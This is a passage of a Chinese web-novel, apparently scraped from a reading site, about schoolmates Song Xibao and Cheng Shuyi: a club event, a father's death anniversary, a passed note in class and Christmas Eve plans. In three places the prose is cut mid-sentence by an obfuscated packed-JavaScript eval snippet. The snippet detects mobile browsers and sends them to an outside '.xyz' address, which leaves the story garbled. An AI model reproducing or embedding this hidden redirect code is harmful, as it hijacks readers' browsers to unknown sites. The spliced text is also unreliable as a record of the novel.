我很喜欢你写的这篇小说！超级喜欢！从你的后记看，或许这不是小说？是你的真实经历？ Ps:已经给你投票了！希望能看到你更多的作品！加油！ 一位默默关注你的读者留。 当时宋西宝留完言，退出界面时心还在怦怦跳，仿佛自己做了一件什么特别冒险的事。 她很快就忘记了这回事，之后再上论坛也没有看到“梧桐”有发新的文章，直到半个月后，她的空间留言板上突然冒出来了一条新的留言—— 梧桐树下的旧梦：来看看默默关注我的读者，谢谢喜爱哦~ 宋西宝到现在都还记得自己当时看到那条留言时的心情——激动、兴奋、感觉很神奇…… 她再次给“梧桐”留言，可是也不知道要说些什么好，便只能凭着一腔热情，说些废话。 得知“梧桐”是女性后，宋西宝对她更加热情，有一阵子，两人频繁互相留言，后来便干脆加了好友，交换了彼此的居住城市和年龄。 得知“梧桐”年长她十岁，宋西宝并不惊讶，反而还觉得很新奇，但从始至终她们没有互问过对方的真实姓名。 这两年，她俩的交流不算多，上次两人聊天还是中考毕业那个暑假，“梧桐”发消息问她结果如何？ 她回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049328|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：美梦成真。 梧桐说：恭喜恭喜。 …… “……活动地点可以就设在校广播室，这样每天晚饭时间如果有人来投稿，广播室也有人可以接待，给他们兑换投稿凭证，等投稿收集的差不多了，我们就把这些信件打乱后统一编号，再通知这些投稿人前来广播室凭号领取信件，反正我想象中大概的流程就是这样。” 宋西宝说完后，李欢是最先点头表示认可的： “我觉得可以，有创意也有吸引力，并且活动主题很好，写信这个行为本身跟文学社也是搭的，老师们要求的文学性加娱乐性都有，更重要的是除了宣传环节，其余环节基本不花费什么预算，我投一票！” 刘敏也举手说：“我赞成。” 接着是徐嘉树和旁边几个高一的，他们也都觉得这个方案可行。 邵辉说：“行，那就这么定！” 饭吃完，大家三三两两拼车离开。 宋西宝本来打算去坐公交，但是徐嘉树打到车后坚持说要送她回去。 一旁的刘敏低头站在路边没说话。 宋西宝走到车门旁时忽然转身问了一句：“学姐，你住哪个方向呀？要不你跟我们一起坐吧？” 刘敏抬头看来，表情很淡，摇摇头，示意他们先走。 宋西宝上了车，跟徐嘉树并排坐在后座。 刘敏看着他们的车驶离后，才抬脚走到斜对面去坐公交。 说来也怪，宋西宝跟异性相处一向大大咧咧、不以为意，但眼下和徐嘉树同坐在车上，她却很难放松下来，总觉得有些不自在。 她自我分析，觉得这可能是因为徐嘉树长得比较好看，她跟帅哥待一起紧张。 思维跳脱一瞬，她忽然又想到程书逸—— 程书逸也是帅哥，但她跟程书逸待一起的时候却从来不会觉得紧张。 可能是因为他那张脸她已经看习惯了吧，宋西宝在心里想。 车拐过一个路口，宋西宝又想到程书逸对徐嘉树的评价，她忍不住扭头看了一眼徐嘉树。 天色已晚，夜灯浮起，城市霓虹将少年温柔眉眼渲染成了另一番气质，让她恍惚有种此人距离她十分遥远、捉摸不透的感觉。 难道真是程书逸说的那样吗？ 徐嘉树是个虚伪的两面派？ 徐嘉树显然注意到了她的视线，他扭过头看她，微微勾动唇角，眼里闪烁着一层薄薄的疑惑：“怎么了？” “没什么。”宋西宝摇头避开他的视线。 车里很安静，两人分坐车窗两边，但过了会儿，徐嘉树忽然往她这边坐近了些，并说：“今天晚上你表现得很好，多亏了你的提议。” 宋西宝谦虚道：“我也是突然想到的。” 徐嘉树又说：“在这批新社员里，我跟刘敏最看好的就是你。” 宋西宝不知道说什么，最后只能说谢谢学长。 还好他们吃烤肉的地方距离梧桐苑不远，宋西宝第一次跟人尬聊，过程简直如坐针毡。 车到梧桐苑后，宋西宝问司机多少钱，徐嘉树让她别管，他来付就好。 宋西宝还想再说点什么，徐嘉树忽然来了句：“西宝，没有男孩送女孩回家，还让女孩自己付车钱的。” 大概是他说这话时的情态太过自然，宋西宝不自主地就顺着他的话点头下了车。 徐嘉树降下车窗，同她道了声晚安。 宋西宝走后，徐嘉树重新升起车窗，让司机把他放到前面那个路口下。 司机看眼后视镜，说：“你不坐了？” 徐嘉树眼神对上，神情冷道：“对。” 司机撇撇嘴，嗤笑一声，载他到前面那个路口下了车。 下车后，徐嘉树又往回走了一百多米来到了公交站台等着，大约十分钟后，一辆空车802经过此处，车门打开，徐嘉树刷卡上了车。 40. 忌日 为了弥补自己爽约的过失，第二天宋西宝又单独约了程书逸一次，但这次程书逸却傲娇地表示自己没空、不想去。 这话一听就是敷衍她的。 宋西宝现在对他的脾气已经是了若指掌了，知道这就是对方在等她给他递和好的台阶呢，于是她专门跑了一趟一小后门，买了一堆他爱吃的麻辣串打包回来，登门给他赔礼道歉。 程书逸开门时脸还是臭的，但看到宋西宝“噔噔”献上食物后，傲娇少年立刻没绷住偏开了脸，同时嘴里嘀咕道：“你别以为这点小恩小惠就能收买我，下次你自己试试等俩小时再被人爽约呢！” 宋西宝半点不挣扎，直接滑跪道：“是，都是我的错，下次换我等你，我等八个小时！” 宋西宝表情夸张地比出一个“八”的手势。 “嘿嘿，先让我进去嘛，我都好久没看到饼干了。”宋西宝说。 程书逸浅白一眼拉开门让她进来了，宋西宝顺手把食物递给他就扑到他卧室去了：“饼干我来啦！！” 饼干早在听到宋西宝声音的时候就躲进了床底下，不过邪恶的人类是不会就此放过它的—— 宋西宝从兜里掏出她提前准备好的线团，扯出长长的一根抛了出去，然后慢慢地往回收。 床底下，饼干肚皮贴地，双眼放光看着地上那根慢慢移动的线，蹭地一下射了出去，然后被宋西宝一把抱了起来。 饼干：“……喵！” 邪恶的人类！快放开本喵！ 宋西宝抱着饼干，脸埋在饼干毛茸茸的肚皮上狂吸，程书逸靠在门口，饼干不敢置信地冲程书逸喵了两声，像是在说：你就这么看着？不做点什么吗？ 过了会儿，程书逸终于开口了，他说：“你小心它生气抓你，该给它剪指甲了。” 饼干：“……喵喵喵？？？” 你说的这还是人话？ 撸完猫，两人坐在客厅边看电视边吃串串，宋西宝跟程书逸讲了她提议的“寻找笔友”活动，还说李欢学姐说到时候社联部也会派人来跟他们对接一起执行。 “你要不跟你们部长说一下派你来？这样咱俩就能一起做了。”宋西宝说， 程书逸瞥她一眼：“你很想我来啊？” 宋西宝点头道：“肯定啊，咱俩熟人啊！” 程书逸默默在心里翻了个白眼。 “那你恐怕要失望了。”程书逸说。 宋西宝：“啊？为啥？” 程书逸：“下周我要请假。” “请假？你请什么假？”宋西宝问。 程书逸看了眼斜对面摆着的遗像，说：“我爸一周年忌日要到了，我得跟我妈一起回趟老家。” 宋西宝吃串串的手一顿，扭头看着他，突然哽住了似的不知道该说些什么。 程书逸仿佛没看到她视线似的，俯身拿起一串炸青椒说：“最后一串青椒了，你吃不吃？不吃我吃了啊！” 宋西宝这才猛地回神，一把抢过青椒道：“你刚都吃了两串了！这串是我的！” 程书逸笑，让给了她：“给你给你！” 宋西宝一手一串，左右开弓，程书逸歪靠在沙发上看着电视屏幕里的电影，思绪却已经放空了。 忽然，他听见旁边宋西宝说：“程书逸，等你回来咱们叫上师爷他们一起去吃辣串串吧，不然显得咱俩跟吃独食一样。” 程书逸仍旧看着电视机，嘴角微动，想也不想便说：“好啊。” 宋西宝忽然逼近了他：“说好了啊！你可别爽约！” 程书逸轻哼一声，跑偏的思绪终于回笼，他偏头睨了她一眼，不屑道：“你以为我跟你似的。” * 程书逸请假和老妈一起回了趟老家青河。 回青河的路上，程书逸一直很恍惚——就一年了吗？时间过得好快。 他不愿也无法相信，父亲竟然已经走了快一年了。 这一年里，他正常学习，正常生活，日子过得好像比起之前也没有太大差别，甚至因为回到了熟悉的城市，见到了熟悉的朋友，生活比起以往还多了不少欢乐和趣味。 我是不是不应该过得这么快乐？ 程书逸忍不住在心里责问自己。 少年望着车窗外连绵起伏的山脉逐渐失神。 这一年里，老妈变得异常忙碌，总是来去匆匆，不停地出差，他知道，她是刻意想让自己忙碌起来，他也知道，她不想待在现在这个家里。 这个家有爸爸的影子，却永远也没有爸爸这个人了。 他们家在这一年里，变得越来越安静。 只有我一个人感到幸福也是可以的吗？ 程书逸万分真切地感觉到自己心里的罪孽感在一点点的加重，他忽然有点畏惧去看望父亲了。 “要到了。”古晓琴转过头握他的手，察觉到他手一片冰凉后立刻皱眉担忧地问，“小逸？你没事吧？” “我没事妈。”程书逸笑容勉强地回握住女人的手。 古晓琴还是不放心，劝他道：“你要是不想去咱们现在就掉头，爸爸不会怪我们的，嗯？” 程书逸摇了摇头，说：“我想去，妈，我……我想爸爸了。” 古晓琴听了这话，鼻头一酸，差点落下泪来。 她紧握住儿子的手，别过头，眼望着窗外，过了好一会儿，才叹息似的说了句：“妈妈也想你爸爸了。” 程方舟的埋骨之地就在程家老宅后面的山坡上，常年有青松作伴，视野开阔，也算是一块风水宝地。 自程方舟死后，程老爷子这两年越发糊涂起来，一看见程书逸，竟把他当作了儿子程方舟。 老爷子坐在二楼客厅里颠三倒四地骂，一会儿骂养他不如养条狗，这么久都不回来看看爹娘；一会儿又骂他灾星降世，克死了弟弟和亲娘。 烧周年用的东西回来路上经过县城的时候古晓琴已经买齐了，母子俩本来是想回来跟老爷子说一声，看要不要一起去烧纸，但眼见老爷子是这个态度，便算了。 往后山去的路上，程书逸问妈妈：“爷爷说我爸是灾星，克死了弟弟和奶奶是什么意思？爷爷奶奶还有个儿子吗？” 古晓琴先是沉默了一阵，然后才嗯了声，解释说：“我跟你爸爸一直没跟你讲过这件事，其实你爸爸是你爷爷奶奶抱来的，那时候你爷爷奶奶结婚好几年了，一直怀不上，就托人想办法抱养了你爸爸，结果你爸长到四岁上，你奶奶突然又怀上了，生下来还是个儿子……” 有了亲生的，自然就没那么疼抱养的了。 年幼的程方舟还以为是自己做错了事 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爸爸，若有来生，换我替你背负所有吧。 若有来生，若有来生…… …… 当天夜里凌晨，宋西宝正躲在被窝里看小说，程书逸忽然打来电话，她还惊了一跳，接起来后只敢悄悄地“喂”了一声。 但是电话那头却没有人说话，她拼命把手机往耳朵上怼，依稀听到了几声狗叫声，声音很空旷，像是在乡下的院子里。 她喊：“程书逸？” 电话那头轻轻“嗯”了一声。 宋西宝听见他声音，一下放下心来，问他：“你这么晚了还没睡吗？” 程书逸说：“睡不着。” 宋西宝“噢”了声，说：“那我陪你聊聊天吧。” 电话那头又轻轻“嗯”了一声。 宋西宝跟他不缺话题聊，从身边朋友到学校同学，他俩能聊的事太多了。 她知道他今天心情不好，特意挑了些搞笑的事说。 比如前几天学校里有同学传教务处主任其实是个秃头，因为有一次他骑车来学校的路上，有同学看见吹大风把他的假发刮跑了，主任还去追了。 再比如今天中午吃完饭他们往食堂外面走的时候，周笃文一不留神踩在食堂阿姨刚拖的地上摔了个屁股蹲…… 她噼里啪啦说了一大堆，但不管她说什么，电话那边的人始终都没有发出声音。 “程书逸，你睡着了吗？” “没有。” “那你怎么都不说话？” “西宝……” “嗯？” “我想我爸爸了。” 电话那头传来隐忍的啜泣，宋西宝听着听着，怔怔红了眼眶。 除了小时候她害他受伤那两次，这是第三次他在她面前哭。 葬礼上他都没哭过。 一种说不出的心疼狠狠地揪住了宋西宝的心，她忽然生出一个念头——要是她能替他痛、替他哭就好了。 她绞尽脑汁想说点什么，但总觉得在这样的悲痛面前，不管说什么都是苍白无力的。 于是她只能沉默，然后时不时告诉他：程书逸，我还在。 41. 小纸条 由校文学社主办的“信件交换——寻找笔友”活动最终获得了圆满成功，邵辉告诉宋西宝，社内年终会有评奖会，他已经为她提报了“优秀社员”评奖。 宋西宝起先并不care这个奖，但听说“优秀社员”会有两百块奖金后，她立刻就变得非常care了。 但是邵辉又说了，这个奖大概率团委的老师们还是会颁给编辑部，安慰她至少也算是入围了。 宋西宝：呵呵。 时间进入十二月后，天气变得越来越冷，宋西宝又变成了起床困难户，每天早上都得爸妈轮番地来叫才能起得来。 这天早上她又赖床不想起，谭淑媛叫得不耐烦了，推门进来直接一把掀了她的铺盖，宋西宝惊坐起身，眼角糊着眼屎，一脸苦瓜相地对着她妈哀嚎：“冷死了！” 谭淑媛把用吹风机烘过的秋衣秋裤扔到她身上，说：“嫌冷就赶紧起来！都六点半了！” 宋西宝早习惯了大人们的骗术——明明才刚过六点，非说马上就要六点半了。 她被爸妈骗了太多次，现在这招对她来说已经不管用了。 宋西宝一脸哀怨地起床穿衣服，顺便打了个老长的哈欠。 谭淑媛又从衣柜里取了件厚棉服递给她，说：“今天又降温了，穿厚点。” 宋西宝迷瞪瞪接过衣服，谭淑媛一边念叨着“今年是不是要下雪啊冷成这样”一边出去了，又停下脚回过头催：“你快点收拾！别磨蹭！” 宋西宝噘着嘴喊：“知道啦！” 一家三口坐在一起吃早饭，宋西宝一边啃包子一边问她爸：“爸，今年冬天会不会下雪啊？” 宋卫国捧着稀饭碗，扭头看了眼窗外雾蒙蒙的天，摇头说：“我们这儿冬天基本不下雪，怎么，你想看下雪啊？” 宋西宝嗯嗯点头，她长这么大，只见过一次雪，就是六岁那年还住在爷爷奶奶家的时候。 那年冬天也是很冷，奶奶早早就开始在院子里生火了，隔壁院的李奶奶一看见她们院儿里开始升烟了，就拿着小板凳过来找奶奶磕牙了。 李奶奶孙儿不在跟前，差不多把宋西宝当了半个孙儿疼，过来时总会给她拿上些好吃的零嘴，她就守在火盆旁边一边吃零食一边等奶奶给她烤甜甜的红薯和脆脆的花生。 那年的雪是年前下的，不大，别说供她堆雪人玩了，就是想打雪仗都得到处搜罗半天再团吧半天。 听到老爸说云市冬天基本不下雪，宋西宝略显失落，谭淑媛拎着饭盒从厨房出来，跟着说：“我看这天气没准今年要下，宋西宝，腿伸出来！” 宋西宝撇撇嘴，抬腿把校服裤子往上一拉，露出里面的秋裤给她妈看。 谭淑媛满意地嗯了声，又把饭盒往她面前推了推，说：“妈装了盒酱肉包子，你带上给小逸他们尝尝。” 宋西宝哦一声应下，三两口解决完稀饭，叼上没吃完的包子，背起书包拎上饭盒火速出门了。 一出单元楼，她就被迎面扑来的冷风呛了一下。 大清早的，天都还没彻底亮，小区被蒙蒙雾气笼罩着，雾里的人都行色匆匆，还有小孩儿被家长拽着上学哇哇大哭的。 宋西宝快步走到小区门口，程书逸他们已经等在那儿了，四人小跑着出门赶公交，上车时，程书逸说：“你今天又比昨天晚了五分钟。” 宋西宝边往车厢里头走边扭头朝他略略了两声，因为没看路，差点被旁边人伸出来的脚给绊倒，多亏程书逸眼疾手快一把抓紧了她。 “你慢点！” “知道了！啰嗦！” 宋西宝站稳抽出胳膊，往上抬了抬书包带子，她瞧见后面还有空位，忙招呼几人道：“后面后面。” 公交车在雾气中穿行，四人分开坐下了，宋西宝抱着饭盒窝在座位上又打了一个长长的哈欠，周笃文坐在她后面问：“西宝，你怎么抱着个饭盒啊？” 宋西宝噢了一声，才记起手里的饭盒，忙扭身递给几人道：“我妈新做了酱肉包子，让我带给你们尝尝，吃吗？” “吃吃！我正好没吃早饭，嘿嘿。”周笃文接过饭盒打开，里面的包子还在冒热气，他用牙咬掉一只手套，拿起一个透油大包子就开始啃，嘴里含糊不清地说了句“真好吃”。 因为程书逸和方思彤都在家吃过早饭了，所以最后这盒包子就全进了周笃文的肚子，他吃的满嘴油，边吃边跟三人聊天，问他们今年要过平安夜吗？ “过平安夜？”宋西宝反问。 周笃文点点头，又说：“老大你不会不知道平安夜吧？” 宋西宝白眼一翻，平安夜她当然知道，第二天不就是圣诞节吗？只是从小到大，她从来没有过过平安夜圣诞节什么的，怎么好端端地突然问起他们过不过洋节了？ “怎么过？学校又不会平安夜给我们放假！”宋西宝说。 周笃文嘿嘿一笑，眼睛瞄了一圈三人说：“今年的平安夜刚好是周六。” 几人互相看看，宋西宝知道他还有下文，于是踢了他一脚不耐烦道：“你有话快说有屁快放！卖什么关子呢！” 周笃文用手抹了把嘴上的油，程书逸看得难受，从包里掏了包纸巾递给他，周笃文抽出纸巾胡乱擦了擦嘴说：“我小姑说今年平安夜人民公园有活动，敲棒棒，你们去不去？” “敲棒棒？” 三人都一脸懵地看着他。 周笃文解释说：“哎呀，就是街上常见的那种充气狼牙棒，往人脑袋上敲，这个就叫敲棒棒！” 程书逸一脸难以理解：“这有什么好玩的？” 宋西宝眼睛却亮了，拉着他问：“什么时候啊？” 周笃文说：“好像是周六晚上八点左右开始吧，你们去吗？” 宋西宝一口答应道：“去啊！我们去！正好博哥和季苒周六放假也能回来，我们好久没一起出去玩了，一起去呗！去过平安夜！” 她一脸兴奋地看向方思彤和程书逸，方思彤说：“我没问题。” 程书逸其实并不想去，这活动一听就是人挤人，但看她那么想去他又说不出拒绝的话，于是也点了头说：“那就一起去吧。” 随着时间一天天接近周六，学校里关于平安夜的讨论也多了起来，学校食堂卖水果的窗口甚至临时卖起了“平安果”——也就是加了包装盒的苹果。 校园里莫名其妙开始流行起互相送“平安果”。 周四这天大课间，学校因为广播检修通知大家不用出操，学生们都高兴死了，大冬天的，没谁想去操场上吹冷风。 宋西宝本来是打算趁大课间这半小时眯一觉的，结果突然收到徐嘉树消息让她下楼来一趟，说他在楼下等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056503|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 宋西宝匆匆下楼，却没看见徐嘉树，正准备问一下，结果又收到他的消息，说一楼人太多了，让她到教学楼后面的小花园来。 宋西宝不疑有他，到小花园找到了徐嘉树。 “学长，你找我什么事啊？”宋西宝说话略喘，张嘴时呼出阵阵白气。 徐嘉树微笑着递给她一个精美的粉色纸袋。 宋西宝接过袋子，打开封口看了眼，里面是一个刻了“圣诞快乐”四个字的平安果。 “这是……”宋西宝有点懵，总感觉徐嘉树给她送平安果这个行为有点不对劲，但她又怕是自己想多了。 徐嘉树说：“送你的，社里成员都有。” 宋西宝一听，立刻松了口气，咧出一口大白牙道：“谢谢学长！” 宋西宝拎着纸袋回了班上，谢飞燕一看她手里拎着的东西，八卦的雷达灵敏地响了两声，她问宋西宝：“谁送的啊？” 宋西宝说：“我们社长送的。” 谢飞燕别有意味地噢了声，宋西宝看她那表情，忙道：“我们社成员都有。” 谢飞燕反问：“都是社长亲手送的？” 宋西宝呃了声，答不上来了。 上课铃很快响了，邱俊杰和后排几个男生抱着篮球匆匆忙忙从教室前门进来了，路过宋西宝座位时，邱俊杰还瞪了宋西宝一眼。 宋西宝：？？？ 这节课是英语课，十四班的英语老师是个很年轻的女老师，姓邹，长得就和大众对年轻的、女的英语老师的刻板印象一模一样，非常漂亮且会打扮。 邱俊杰的座位在宋西宝的斜右后方，上课几分钟后，Miss邹转过去写板书，邱俊杰就瞅准这个空档扔了个纸团到宋西宝身边。 宋西宝转头看了他一眼，邱俊杰抬抬下巴示意她捡起来看。 宋西宝打开纸团一看，满脸黑线。 邱俊杰这厮问她：你是不是在跟徐嘉树谈恋爱？我看到他给你送东西了。 宋西宝把纸条撕了没回，过了会儿，Miss邹又转过去写板书了，邱俊杰故技重施，又扔了一个纸团出去，不过这回他没掌控好力道，纸团扔得太远，扔到别的同学桌上了。 那位同学胆子比较小，被这么个天外飞物一砸，吓得叫了一声，Miss邹当即转过身来，发现了那颗纸团。 Miss邹让同学把纸团捡起来递给了她，打开一看，上面写着：你是不是有喜欢的人了？ “这谁扔的？”Miss邹举起纸团环视了一圈台下的学生们。 半天没人站起来。 她又问了一遍，并威胁说：“再不站起来，我就把这个纸条交给你们班主任来处理了，但如果你现在站起来，这件事就我来处理。” Miss邹相比魏勇，大家肯定选前者。 邱俊杰站了起来。 Miss邹又问他：“这个纸条是你准备扔给谁的？” 邱俊杰背着手低头没说话。 Miss邹说：“那我们这节课就不上了，我现在去请你们魏老师来处理。” 台下，宋西宝心里飘过无数句脏话，然后认命地站了起来。 班上同学顿时开始起哄。 Miss邹拍了拍讲桌，吼道：“安静！”又说，“你俩跟我出来，其余人自习！” 42. 拒绝 Miss邹把两人叫到教室外面，出去时还顺带手关上了门。 “说说吧，这什么意思？”Miss邹拿着纸条问邱俊杰。 邱俊杰耳根子红透了，背着手低头半天不说话。 “这纸条上写的什么你知道吗？”Miss邹又转过来问宋西宝。 宋西宝摇头，这回她是真不知道上面写了啥，她都没接到。 Miss邹问：“那你怎么知道这纸条是要传给你的？” 宋西宝回答：“他前面还扔了一个给我。” Miss邹笑了，展开另一只手手心向上勾了勾，说：“纸条呢？” 宋西宝说：“撕了。” Miss邹又问：“上面写什么了？” 宋西宝跟邱俊杰一样，低下头去不说话了。 Miss邹长叹口气，说：“你俩成绩一个倒数，一个中游，每天上课不认真听讲，心思全跑这些事情上去了是吧？” 宋西宝闷着不吭声，邱俊杰中二魂大爆发，突然抬头来了句：“邹老师，这事不怪宋西宝，是我非要给她传小纸条的，也是我……单方面对她那啥，你要处罚就处罚我一个人吧！” 宋西宝听得头皮发麻，尴尬得恨不能找卷胶带把邱俊杰嘴封上。 Miss邹冷笑一声，嘲讽道：“小屁孩儿一个，还学电视里演上了。” 邱俊杰刚刚抬起的头颅立刻又缩了回去。 Miss邹说：“四中是严禁学生早恋的，你刚说的话我就当没听到。” 她又拿起纸条当着两人面读了一遍，宋西宝听得想死，邱俊杰也没好到哪儿去。 Miss邹念完，口吻忽然变得严厉起来。她说：“你们以为学校为什么要严禁早恋？难道是见不得你们开心吗？是因为往往你们这些学生根本把握不好异性相处的尺度！” 宋西宝忽然想起蒋博光提起过的八中那个割腕的女生。 “你们这个年纪，对什么都好奇，做事又容易冲动，基本属于是顾头不顾腚，要是学校和老师不管你们，随便你们交友，那到时候捅出篓子了，谁来收拾？你邱俊杰能收拾吗？你知不知道家长一人一口唾沫星子就能把我们这些老师和学校淹死？啊？” Miss邹说完这一大段，忽然又变脸了。 她眉梢一挑，将纸条揉成了一团，三两句话结束了这件事：“行了，这事就到此为止，接下来直到学期末我会重点盯你俩的学习情况以及作业情况……”她扭头看向宋西宝，“你可要好好记住了，这都是因为谁。” 邱俊杰：“……” 下课后，邱俊杰臊眉耷眼地走到宋西宝课桌旁停下，周围同学还以为有什么好戏看，都瞧着他俩。 邱俊杰示意宋西宝前桌的女生给他让个位置，女生眉毛一挑，说：“凭什么？” “周莉莉你！” 眼看邱俊杰又要跟人起争执，宋西宝忍无可忍，蹭地从座位上站起来，狠狠地剜了他一眼出去了。 “西宝！”邱俊杰叫她，正准备追上去，周莉莉风凉的声音从身后传来，“有些人啊，脸皮真是厚，难道看不出人家很烦他么？” 邱俊杰一脸恼火地磨了磨牙，还是追了出去。 但宋西宝其实并没有走远，她就在教室外面等着他呢。 “去那儿说吧。”宋西宝抬下巴指了指楼梯拐角。 邱俊杰跟着她过去了。 两人走到拐角处，身后那些好奇八卦的目光被物理隔绝了。 宋西宝皱着眉，脸上的烦躁干脆一点也不掩饰了。她说：“邱俊杰，差不多行了吧？” 邱俊杰给她道歉，说：“对不起，我真就是不小心扔偏的，我也没想到会扔到赵波那儿，真的！” 宋西宝简直要被气笑了。 她真的每一次！是每！一！次！ 跟邱俊杰沟通都感觉像是在对牛弹琴！ 他俩说的是一件事吗？ “你是故意的吗？”宋西宝双手抱胸，冷脸看他。 邱俊杰傻傻问：“什么故意？” “故意听不懂我说的话，故意装傻充愣。” “我不是啊，你什么意思啊？”邱俊杰也有点火气上来了。 宋西宝点了下头，说：“行，你不是故意的就行。之前我以为我的态度表达得挺清楚了，但是现在看来还是不够，那我就趁这次干脆跟你说清楚，大哥我真的对你纯同学！你要不看看别人吧，别烦我了。” 邱俊杰一脸被雷劈的表情，缓了快半分钟才回神，结结巴巴道：“我……我知道你生我的气，我不是给你道歉了吗？我真的不是故意的！你怎么不信呢？” 宋西宝：“……” 天哪，降道雷劈死她吧！ “我说我不喜欢你，能懂吗？能接受吗？”宋西宝歪着头问，大眼睛十分困惑地眨了两下，“还是说你潜意识里就觉得我一定会喜欢你？哪怕现在不喜欢，将来也会喜欢？你不会真这么自恋吧？” 邱俊杰被她逼得说不出话来，因为他内心深处真是这么觉得的。 “你是觉得我对你还不够好吗？”邱俊杰问，声音和表情都完全down下去了。 宋西宝忍着无语，长叹口气，耐心地同他解释道：“这不是你对我好不好的问题，我知道你对我挺好的，你人很热情，性格也还不错，我们平时相处不是玩得挺好的吗？” “对啊！”邱俊杰一脸伤心外加疑惑地看向她。 宋西宝翻了个大白眼：“对个屁！咱俩玩得好，那说明咱俩适合当朋友，不代表咱俩就非得那啥你懂吗？我对你的喜欢不是你以为的那种，我怎么跟你解释呢……” 宋西宝口干舌燥，原地抓狂：“就是……我跟你之间，就好比我跟小燕、跟楚楚她们，咱俩只是朋友啊！” 邱俊杰不说话了。 上课铃快响了，宋西宝耳朵尖，已经听到楼下两层传来魏勇说话的声音了。 她拍拍邱俊杰肩膀，想说点什么吧，又觉得还是算了，最后啥也没说，直接上楼回教室了。 中午宋西宝正跟朋友们在食堂干饭，突然一口袋苹果从天而降落在了她面前，几人都吓了一跳，宋西宝扭头往身后看，顿时满脸黑线—— 又是邱俊杰。 这怎么还没完没了了？ “平安夜快乐。”邱俊杰不顾周围人的打量，把苹果放在她旁边桌上，然后看了眼旁边几人，视线转到程书逸身上时，眼神多了两分敌意。 他又看回宋西宝，赶在她开口骂他前先开口道：“你没说做朋友就不能送礼物了，我作为朋友，送点苹果给你没问题吧？” 宋西宝被他用“朋友”两个字一噎，原本涌到嘴边的脏话突然就有点难以开口了。 邱俊杰又说：“这些苹果就当是我英语课拉你下水给你的赔罪，你不是喜欢吃苹果吗？多吃点！” 邱俊杰边说还边笑，只是那笑看着多少有点心酸，宋西宝心里不是滋味，一下进退两难，收也不是，不收也不是。 “你慢慢吃。”邱俊杰说完这句就走了。 宋西宝张嘴欲言又止，最后撇撇嘴，转过身来看了眼旁边桌上的苹果。 “什么情况？”周笃文问。 程书逸也看了过来，无声询问：解释解释？ 宋西宝只好把上午发生的事又跟他们讲了一遍。 方思彤听完，忽然长长地“噢”了一声，几人都看向她，方思彤说：“原来那时候他非要你跟他一起吃饭是因为他喜欢你啊！” 宋西宝反应了半天才反应过来方思彤说的“那时候”是什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060721|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她有点别扭道：“也不是吧，那会儿我跟他才刚认识呢！” 方思彤点头：“一见钟情，没毛病啊！” “我吃饱了，先走了。”程书逸忽然站起来说。 宋西宝抬头看他，一脸懵道：“我还没吃完呢。” “嗯，你慢慢吃。”程书逸说，端起餐盘就走。 宋西宝注视着他离开的背影。 她问方思彤：“是我的错觉吗？我怎么觉得他又生气了？他在生什么气啊？” 方思彤拿着筷子，也扭头看了一眼，闻言转动脑筋道：“他可能是生气自己收到的苹果没你多吧。” 周笃文：“……” 宋西宝拿起那袋苹果，满脸问号：“是吗？” “嗯！”方思彤无比自信地点了点头。 周笃文实在听不下去了，打断道：“快吃吧你俩！憋说话了！” 平安夜的前一天晚上，也就是周五晚上，周笃文又拉了一个群，把他们几个还有他小姑都拉了进来。 周笃文小姑叫周舟，比他爸小十多岁，比他也就大九岁。 说是小姑，其实就跟他亲姐姐一样，周鹏发对待这个妹妹也更多是把她当半个女儿看。 周鹏发学历不高，只读到初中就没读了，周舟却是正经名牌大学毕业的大学生。 她天资聪颖，读书路上基本没吃过什么太大的苦头，就算考到名牌大学也没耽误她玩，靠着自己开网店和打零工的积蓄，大学四年她差不多把国内走了个遍，因为没向家里伸手，家里人就是想管她都不好管。 周舟毕业至今也有几年了，一直就没正经上过班，她一段时间搞搞这，一段时间搞搞那，还经常动不动就打飞的往国外那些人少的地方跑。 本来家里人都觉得她这样下去不行，周鹏发还想着要托关系给她找个工作把她叫回来上班，结果某天周舟直接给家里人看了她的银行卡余额，瞬间，全家人都老实了。 宋西宝他们都见过周舟，只有程书逸对她印象比较淡了—— 他见周舟那会儿还是他们上小学的时候，某天放学，周舟突然出现在一小门口——那会儿她自己都还是个高中生。 她把一中校服绑在腰间，说要带他们几个小的去吃汉堡，程书逸记得很清楚，那天蒋博光和宋西宝两个丢人现眼的玩意儿一共吃了十个汉堡包，把周舟钱包里最后一枚硬币都掏空了。 周舟还当场宣布封他俩为“汉堡之神”。 说起来，都是黑历史了。 群刚拉好，周舟就在群里说话了： 【ZZ：小的们，好久不见！】 【最近爱吃炸土豆：舟舟姐！好久不见！】 底下跟了一溜儿的“好久不见”。 